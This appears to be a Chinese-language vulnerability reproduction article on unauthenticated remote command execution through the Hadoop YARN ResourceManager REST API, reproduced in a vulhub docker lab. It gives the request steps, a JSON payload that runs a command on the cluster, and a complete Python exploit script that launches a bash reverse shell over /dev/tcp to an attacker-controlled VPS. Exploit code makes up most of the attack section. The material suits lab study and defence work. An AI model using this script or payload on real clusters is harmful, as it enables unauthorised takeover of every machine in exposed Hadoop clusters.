一、漏洞描述
Hadoop作為一個分布式計算應(yīng)用程序框架,種類功能繁多,各種組件安全問題會帶來很大的攻擊面。Apache Hadoop YARN是Hadoop的核心組件之一,負(fù)責(zé)將資源分配在Hadoop集群中運行的各種應(yīng)用程序,并調(diào)度要在不同集群節(jié)點上執(zhí)行的任務(wù)。(獨立出的資源管理框架,負(fù)責(zé)資源管理和調(diào)度)
漏洞產(chǎn)生原因
負(fù)責(zé)對資源進(jìn)行同一管理調(diào)度的
ReasourceManager
組件的UI管理界面開放在8080/8088
端口,攻擊者無需認(rèn)證即可通過REST API
部署任務(wù)來執(zhí)行任意命令,最終可完全控制集群中所有的機(jī)器
二、環(huán)境搭建
cd vulhub/hadoop/unauthorized-yarn
啟動環(huán)境
docker-compose up -d
訪問 8088
端口
三、漏洞復(fù)現(xiàn)
首先訪問(POST
請求) /ws/v1/cluster/apps/new-application
獲取 application-id
獲取到 application-id
之后,我們訪問 /ws/v1/cluster/apps
頁面,并且構(gòu)造 Payload
{"application-id": "application_1659336607746_0001", "application-name": "getshell", "am-container-spec": {"commands": {"command": "ping -c 3 test.clw7xm.dnslog.cn"}}, "application-type": "YARN"}
修改 application-id
的值和你要執(zhí)行的命令 command
漏洞利用成功文章來源:http://www.zghlxwxcb.cn/news/detail-583028.html
四、Exp腳本
# coding:utf-8
import requests
def shell(url,vps_ip,port):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
}
response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
id = response.json()["application-id"]
data = {
'application-id': id,
'application-name': 'getshell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
},
},
'application-type': 'YARN'}
exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
print("[+] 執(zhí)行完成!")
if __name__ == '__main__':
url = input("url:")
vps_ip = input("vps:")
port = input("port:")
shell(url,vps_ip,port)
在 vps
上監(jiān)聽一個端口
使用腳本反彈 shell
利用成功,成功反彈 Shell
文章來源地址http://www.zghlxwxcb.cn/news/detail-583028.html
到了這里,關(guān)于Hadoop 漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!